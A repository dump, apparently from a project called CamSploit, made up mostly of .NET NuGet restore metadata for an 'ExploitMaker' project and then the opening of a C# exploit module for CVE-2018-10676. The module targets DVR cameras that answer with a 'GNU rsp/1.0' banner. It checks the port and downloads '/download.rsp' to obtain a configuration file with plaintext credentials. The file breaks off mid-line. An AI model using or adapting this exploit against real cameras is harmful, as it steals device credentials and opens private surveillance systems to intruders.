456 | "ref/netcoreapp2.1/System.Web.HttpUtility.xml",
457 | "ref/netcoreapp2.1/System.Web.dll",
458 | "ref/netcoreapp2.1/System.Windows.dll",
459 | "ref/netcoreapp2.1/System.Xml.Linq.dll",
460 | "ref/netcoreapp2.1/System.Xml.ReaderWriter.dll",
461 | "ref/netcoreapp2.1/System.Xml.ReaderWriter.xml",
462 | "ref/netcoreapp2.1/System.Xml.Serialization.dll",
463 | "ref/netcoreapp2.1/System.Xml.XDocument.dll",
464 | "ref/netcoreapp2.1/System.Xml.XDocument.xml",
465 | "ref/netcoreapp2.1/System.Xml.XPath.XDocument.dll",
466 | "ref/netcoreapp2.1/System.Xml.XPath.XDocument.xml",
467 | "ref/netcoreapp2.1/System.Xml.XPath.dll",
468 | "ref/netcoreapp2.1/System.Xml.XPath.xml",
469 | "ref/netcoreapp2.1/System.Xml.XmlDocument.dll",
470 | "ref/netcoreapp2.1/System.Xml.XmlSerializer.dll",
471 | "ref/netcoreapp2.1/System.Xml.XmlSerializer.xml",
472 | "ref/netcoreapp2.1/System.Xml.dll",
473 | "ref/netcoreapp2.1/System.dll",
474 | "ref/netcoreapp2.1/WindowsBase.dll",
475 | "ref/netcoreapp2.1/mscorlib.dll",
476 | "ref/netcoreapp2.1/netstandard.dll",
477 | "runtime.json"
478 | ]
479 | },
480 | "Microsoft.NETCore.DotNetAppHost/2.1.0": {
481 | "sha512": "cZiASE81rksPJsGJ04hd/uEn6guNGAoqNsrzE/DP6AaNRPCHwTe6nZvHd4uAPj3MaVRQ3U0c6cRycMaHCYLPUQ==",
482 | "type": "package",
483 | "path": "microsoft.netcore.dotnetapphost/2.1.0",
484 | "files": [
485 | ".nupkg.metadata",
486 | ".signature.p7s",
487 | "LICENSE.TXT",
488 | "THIRD-PARTY-NOTICES.TXT",
489 | "microsoft.netcore.dotnetapphost.2.1.0.nupkg.sha512",
490 | "microsoft.netcore.dotnetapphost.nuspec",
491 | "runtime.json"
492 | ]
493 | },
494 | "Microsoft.NETCore.DotNetHostPolicy/2.1.0": {
495 | "sha512": "LdhSWUEZmFalhz6fLBE5WDmCdO9jqvW5q3CUOTk9n/hdmmwnTu7KowPPIw5p2t1vn7ozStLG3RZMJbf48f7WtA==",
496 | "type": "package",
497 | "path": "microsoft.netcore.dotnethostpolicy/2.1.0",
498 | "files": [
499 | ".nupkg.metadata",
500 | ".signature.p7s",
501 | "LICENSE.TXT",
502 | "THIRD-PARTY-NOTICES.TXT",
503 | "microsoft.netcore.dotnethostpolicy.2.1.0.nupkg.sha512",
504 | "microsoft.netcore.dotnethostpolicy.nuspec",
505 | "runtime.json"
506 | ]
507 | },
508 | "Microsoft.NETCore.DotNetHostResolver/2.1.0": {
509 | "sha512": "+9D7G59Fz1H2ZO87Hlgl7Zv44BrAmWnyRfqrofrHW4gQTu573xQP6cuYiNUeqr189eH6hZuh5MKUhOoUGJjqiQ==",
510 | "type": "package",
511 | "path": "microsoft.netcore.dotnethostresolver/2.1.0",
512 | "files": [
513 | ".nupkg.metadata",
514 | ".signature.p7s",
515 | "LICENSE.TXT",
516 | "THIRD-PARTY-NOTICES.TXT",
517 | "microsoft.netcore.dotnethostresolver.2.1.0.nupkg.sha512",
518 | "microsoft.netcore.dotnethostresolver.nuspec",
519 | "runtime.json"
520 | ]
521 | },
522 | "Microsoft.NETCore.Platforms/2.1.0": {
523 | "sha512": "GmkKfoyerqmsHMn7OZj0AKpcBabD+GaafqphvX2Mw406IwiJRy1pKcKqdCfKJfYmkRyJ6+e+RaUylgdJoDa1jQ==",
524 | "type": "package",
525 | "path": "microsoft.netcore.platforms/2.1.0",
526 | "files": [
527 | ".nupkg.metadata",
528 | ".signature.p7s",
529 | "LICENSE.TXT",
530 | "THIRD-PARTY-NOTICES.TXT",
531 | "lib/netstandard1.0/_._",
532 | "microsoft.netcore.platforms.2.1.0.nupkg.sha512",
533 | "microsoft.netcore.platforms.nuspec",
534 | "runtime.json",
535 | "useSharedDesignerContext.txt",
536 | "version.txt"
537 | ]
538 | },
539 | "Microsoft.NETCore.Targets/2.1.0": {
540 | "sha512": "I2NAAePyfAzSLl/AWmgNs493xJQDDql2Ldpx3PRl7fE+FrsgdGmVHyyWlfd3doMkxHPstOkqYVGvSLbIBhyzsg==",
541 | "type": "package",
542 | "path": "microsoft.netcore.targets/2.1.0",
543 | "files": [
544 | ".nupkg.metadata",
545 | ".signature.p7s",
546 | "LICENSE.TXT",
547 | "THIRD-PARTY-NOTICES.TXT",
548 | "lib/netstandard1.0/_._",
549 | "microsoft.netcore.targets.2.1.0.nupkg.sha512",
550 | "microsoft.netcore.targets.nuspec",
551 | "runtime.json",
552 | "useSharedDesignerContext.txt",
553 | "version.txt"
554 | ]
555 | },
556 | "NETStandard.Library/2.0.3": {
557 | "sha512": "548M6mnBSJWxsIlkQHfbzoYxpiYFXZZSL00p4GHYv8PkiqFBnnT68mW5mGEsA/ch9fDO9GkPgkFQpWiXZN7mAQ==",
558 | "type": "package",
559 | "path": "netstandard.library/2.0.3",
560 | "files": [
561 | ".nupkg.metadata",
562 | ".signature.p7s",
563 | "LICENSE.TXT",
564 | "THIRD-PARTY-NOTICES.TXT",
565 | "build/netstandard2.0/NETStandard.Library.targets",
566 | "build/netstandard2.0/ref/Microsoft.Win32.Primitives.dll",
567 | "build/netstandard2.0/ref/System.AppContext.dll",
568 | "build/netstandard2.0/ref/System.Collections.Concurrent.dll",
569 | "build/netstandard2.0/ref/System.Collections.NonGeneric.dll",
570 | "build/netstandard2.0/ref/System.Collections.Specialized.dll",
571 | "build/netstandard2.0/ref/System.Collections.dll",
572 | "build/netstandard2.0/ref/System.ComponentModel.Composition.dll",
573 | "build/netstandard2.0/ref/System.ComponentModel.EventBasedAsync.dll",
574 | "build/netstandard2.0/ref/System.ComponentModel.Primitives.dll",
575 | "build/netstandard2.0/ref/System.ComponentModel.TypeConverter.dll",
576 | "build/netstandard2.0/ref/System.ComponentModel.dll",
577 | "build/netstandard2.0/ref/System.Console.dll",
578 | "build/netstandard2.0/ref/System.Core.dll",
579 | "build/netstandard2.0/ref/System.Data.Common.dll",
580 | "build/netstandard2.0/ref/System.Data.dll",
581 | "build/netstandard2.0/ref/System.Diagnostics.Contracts.dll",
582 | "build/netstandard2.0/ref/System.Diagnostics.Debug.dll",
583 | "build/netstandard2.0/ref/System.Diagnostics.FileVersionInfo.dll",
584 | "build/netstandard2.0/ref/System.Diagnostics.Process.dll",
585 | "build/netstandard2.0/ref/System.Diagnostics.StackTrace.dll",
586 | "build/netstandard2.0/ref/System.Diagnostics.TextWriterTraceListener.dll",
587 | "build/netstandard2.0/ref/System.Diagnostics.Tools.dll",
588 | "build/netstandard2.0/ref/System.Diagnostics.TraceSource.dll",
589 | "build/netstandard2.0/ref/System.Diagnostics.Tracing.dll",
590 | "build/netstandard2.0/ref/System.Drawing.Primitives.dll",
591 | "build/netstandard2.0/ref/System.Drawing.dll",
592 | "build/netstandard2.0/ref/System.Dynamic.Runtime.dll",
593 | "build/netstandard2.0/ref/System.Globalization.Calendars.dll",
594 | "build/netstandard2.0/ref/System.Globalization.Extensions.dll",
595 | "build/netstandard2.0/ref/System.Globalization.dll",
596 | "build/netstandard2.0/ref/System.IO.Compression.FileSystem.dll",
597 | "build/netstandard2.0/ref/System.IO.Compression.ZipFile.dll",
598 | "build/netstandard2.0/ref/System.IO.Compression.dll",
599 | "build/netstandard2.0/ref/System.IO.FileSystem.DriveInfo.dll",
600 | "build/netstandard2.0/ref/System.IO.FileSystem.Primitives.dll",
601 | "build/netstandard2.0/ref/System.IO.FileSystem.Watcher.dll",
602 | "build/netstandard2.0/ref/System.IO.FileSystem.dll",
603 | "build/netstandard2.0/ref/System.IO.IsolatedStorage.dll",
604 | "build/netstandard2.0/ref/System.IO.MemoryMappedFiles.dll",
605 | "build/netstandard2.0/ref/System.IO.Pipes.dll",
606 | "build/netstandard2.0/ref/System.IO.UnmanagedMemoryStream.dll",
607 | "build/netstandard2.0/ref/System.IO.dll",
608 | "build/netstandard2.0/ref/System.Linq.Expressions.dll",
609 | "build/netstandard2.0/ref/System.Linq.Parallel.dll",
610 | "build/netstandard2.0/ref/System.Linq.Queryable.dll",
611 | "build/netstandard2.0/ref/System.Linq.dll",
612 | "build/netstandard2.0/ref/System.Net.Http.dll",
613 | "build/netstandard2.0/ref/System.Net.NameResolution.dll",
614 | "build/netstandard2.0/ref/System.Net.NetworkInformation.dll",
615 | "build/netstandard2.0/ref/System.Net.Ping.dll",
616 | "build/netstandard2.0/ref/System.Net.Primitives.dll",
617 | "build/netstandard2.0/ref/System.Net.Requests.dll",
618 | "build/netstandard2.0/ref/System.Net.Security.dll",
619 | "build/netstandard2.0/ref/System.Net.Sockets.dll",
620 | "build/netstandard2.0/ref/System.Net.WebHeaderCollection.dll",
621 | "build/netstandard2.0/ref/System.Net.WebSockets.Client.dll",
622 | "build/netstandard2.0/ref/System.Net.WebSockets.dll",
623 | "build/netstandard2.0/ref/System.Net.dll",
624 | "build/netstandard2.0/ref/System.Numerics.dll",
625 | "build/netstandard2.0/ref/System.ObjectModel.dll",
626 | "build/netstandard2.0/ref/System.Reflection.Extensions.dll",
627 | "build/netstandard2.0/ref/System.Reflection.Primitives.dll",
628 | "build/netstandard2.0/ref/System.Reflection.dll",
629 | "build/netstandard2.0/ref/System.Resources.Reader.dll",
630 | "build/netstandard2.0/ref/System.Resources.ResourceManager.dll",
631 | "build/netstandard2.0/ref/System.Resources.Writer.dll",
632 | "build/netstandard2.0/ref/System.Runtime.CompilerServices.VisualC.dll",
633 | "build/netstandard2.0/ref/System.Runtime.Extensions.dll",
634 | "build/netstandard2.0/ref/System.Runtime.Handles.dll",
635 | "build/netstandard2.0/ref/System.Runtime.InteropServices.RuntimeInformation.dll",
636 | "build/netstandard2.0/ref/System.Runtime.InteropServices.dll",
637 | "build/netstandard2.0/ref/System.Runtime.Numerics.dll",
638 | "build/netstandard2.0/ref/System.Runtime.Serialization.Formatters.dll",
639 | "build/netstandard2.0/ref/System.Runtime.Serialization.Json.dll",
640 | "build/netstandard2.0/ref/System.Runtime.Serialization.Primitives.dll",
641 | "build/netstandard2.0/ref/System.Runtime.Serialization.Xml.dll",
642 | "build/netstandard2.0/ref/System.Runtime.Serialization.dll",
643 | "build/netstandard2.0/ref/System.Runtime.dll",
644 | "build/netstandard2.0/ref/System.Security.Claims.dll",
645 | "build/netstandard2.0/ref/System.Security.Cryptography.Algorithms.dll",
646 | "build/netstandard2.0/ref/System.Security.Cryptography.Csp.dll",
647 | "build/netstandard2.0/ref/System.Security.Cryptography.Encoding.dll",
648 | "build/netstandard2.0/ref/System.Security.Cryptography.Primitives.dll",
649 | "build/netstandard2.0/ref/System.Security.Cryptography.X509Certificates.dll",
650 | "build/netstandard2.0/ref/System.Security.Principal.dll",
651 | "build/netstandard2.0/ref/System.Security.SecureString.dll",
652 | "build/netstandard2.0/ref/System.ServiceModel.Web.dll",
653 | "build/netstandard2.0/ref/System.Text.Encoding.Extensions.dll",
654 | "build/netstandard2.0/ref/System.Text.Encoding.dll",
655 | "build/netstandard2.0/ref/System.Text.RegularExpressions.dll",
656 | "build/netstandard2.0/ref/System.Threading.Overlapped.dll",
657 | "build/netstandard2.0/ref/System.Threading.Tasks.Parallel.dll",
658 | "build/netstandard2.0/ref/System.Threading.Tasks.dll",
659 | "build/netstandard2.0/ref/System.Threading.Thread.dll",
660 | "build/netstandard2.0/ref/System.Threading.ThreadPool.dll",
661 | "build/netstandard2.0/ref/System.Threading.Timer.dll",
662 | "build/netstandard2.0/ref/System.Threading.dll",
663 | "build/netstandard2.0/ref/System.Transactions.dll",
664 | "build/netstandard2.0/ref/System.ValueTuple.dll",
665 | "build/netstandard2.0/ref/System.Web.dll",
666 | "build/netstandard2.0/ref/System.Windows.dll",
667 | "build/netstandard2.0/ref/System.Xml.Linq.dll",
668 | "build/netstandard2.0/ref/System.Xml.ReaderWriter.dll",
669 | "build/netstandard2.0/ref/System.Xml.Serialization.dll",
670 | "build/netstandard2.0/ref/System.Xml.XDocument.dll",
671 | "build/netstandard2.0/ref/System.Xml.XPath.XDocument.dll",
672 | "build/netstandard2.0/ref/System.Xml.XPath.dll",
673 | "build/netstandard2.0/ref/System.Xml.XmlDocument.dll",
674 | "build/netstandard2.0/ref/System.Xml.XmlSerializer.dll",
675 | "build/netstandard2.0/ref/System.Xml.dll",
676 | "build/netstandard2.0/ref/System.dll",
677 | "build/netstandard2.0/ref/mscorlib.dll",
678 | "build/netstandard2.0/ref/netstandard.dll",
679 | "build/netstandard2.0/ref/netstandard.xml",
680 | "lib/netstandard1.0/_._",
681 | "netstandard.library.2.0.3.nupkg.sha512",
682 | "netstandard.library.nuspec"
683 | ]
684 | }
685 | },
686 | "projectFileDependencyGroups": {
687 | ".NETCoreApp,Version=v2.1": [
688 | "Microsoft.NETCore.App >= 2.1.0"
689 | ]
690 | },
691 | "packageFolders": {
692 | "C:\\Users\\Max Berrutto\\.nuget\\packages\\": {}
693 | },
694 | "project": {
695 | "version": "1.0.0",
696 | "restore": {
697 | "projectUniqueName": "C:\\Users\\Max Berrutto\\Documents\\Github\\CamSploit\\ExploitMaker\\ExploitMaker.csproj",
698 | "projectName": "ExploitMaker",
699 | "projectPath": "C:\\Users\\Max Berrutto\\Documents\\Github\\CamSploit\\ExploitMaker\\ExploitMaker.csproj",
700 | "packagesPath": "C:\\Users\\Max Berrutto\\.nuget\\packages\\",
701 | "outputPath": "C:\\Users\\Max Berrutto\\Documents\\Github\\CamSploit\\ExploitMaker\\obj\\",
702 | "projectStyle": "PackageReference",
703 | "configFilePaths": [
704 | "C:\\Users\\Max Berrutto\\AppData\\Roaming\\NuGet\\NuGet.Config"
705 | ],
706 | "originalTargetFrameworks": [
707 | "netcoreapp2.1"
708 | ],
709 | "sources": {
710 | "https://api.nuget.org/v3/index.json": {}
711 | },
712 | "frameworks": {
713 | "netcoreapp2.1": {
714 | "projectReferences": {}
715 | }
716 | },
717 | "warningProperties": {
718 | "warnAsError": [
719 | "NU1605"
720 | ]
721 | }
722 | },
723 | "frameworks": {
724 | "netcoreapp2.1": {
725 | "dependencies": {
726 | "Microsoft.NETCore.App": {
727 | "suppressParent": "All",
728 | "target": "Package",
729 | "version": "[2.1.0, )",
730 | "autoReferenced": true
731 | }
732 | },
733 | "imports": [
734 | "net461"
735 | ],
736 | "assetTargetFallback": true,
737 | "warn": true
738 | }
739 | }
740 | }
741 | }
--------------------------------------------------------------------------------
/ExploitMaker/obj/project.packagespec.json:
--------------------------------------------------------------------------------
1 | {
2 | "version": "1.0.0",
3 | "restore": {
4 | "projectUniqueName": "C:\\Users\\Max Berrutto\\Documents\\Github\\CamSploit\\ExploitMaker\\ExploitMaker.csproj",
5 | "projectName": "ExploitMaker",
6 | "projectPath": "C:\\Users\\Max Berrutto\\Documents\\Github\\CamSploit\\ExploitMaker\\ExploitMaker.csproj",
7 | "outputPath": "C:\\Users\\Max Berrutto\\Documents\\Github\\CamSploit\\ExploitMaker\\obj\\",
8 | "projectStyle": "PackageReference",
9 | "originalTargetFrameworks": [
10 | "netcoreapp2.1"
11 | ],
12 | "frameworks": {
13 | "netcoreapp2.1": {
14 | "projectReferences": {}
15 | }
16 | },
17 | "warningProperties": {
18 | "warnAsError": [
19 | "NU1605"
20 | ]
21 | }
22 | },
23 | "frameworks": {
24 | "netcoreapp2.1": {
25 | "dependencies": {
26 | "Microsoft.NETCore.App": {
27 | "suppressParent": "All",
28 | "target": "Package",
29 | "version": "[2.1.0, )",
30 | "autoReferenced": true
31 | }
32 | },
33 | "imports": [
34 | "net461"
35 | ],
36 | "assetTargetFallback": true,
37 | "warn": true
38 | }
39 | }
40 | }
--------------------------------------------------------------------------------
/Exploits/CVE_2018_10676.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Text;
3 | using System.Text.RegularExpressions;
4 | using ExploitMaker;
5 | using ExploitMaker.Exceptions;
6 | using ExploitMaker.Helpers;
7 | using ExploitMaker.Modules;
8 |
9 | namespace Exploits
10 | {
11 | public class CVE_2018_10676 : Module
12 | {
13 | public override string Description => "Gets DVR Credentials in many vendors that responds using the banner 'Server: GNU rsp/1.0'. This exploit tries to download the configuration file that contains the credentials in plain text.";
14 |
15 | public override string CommonName => "CVE-2018-10676";
16 |
17 | public override ExploitResult Run(Camera cam)
18 | {
19 | const int dataLength = 66000; //This is an aproximate size
20 |
21 | //Check opened port
22 | if (!ConnectionHelper.IsOpenPort(cam.Host, int.Parse(cam.Port)))
23 | throw new ExploituUreachableTargetException(cam, CommonName);
24 |
25 | //We are going to try download the file
26 | using (var result = ConnectionHelper.DownloadHttpFile(cam.Host, cam.Port, cam.UrlHttp + "/download.rsp", dataLength))
27 | {
28 | //If we get null, the server is not alive
29 | if (result == null)
30 | throw new ExploituUreachableTargetException(cam, CommonName);
31 |
32 | //If we get a response, the server is vulnerable
33 | var bytes = BinaryHelper.ReadBytes(result);
34 | var str = CleanString(Encoding.UTF8.GetString(bytes));
35 |
36 | return str.Contains("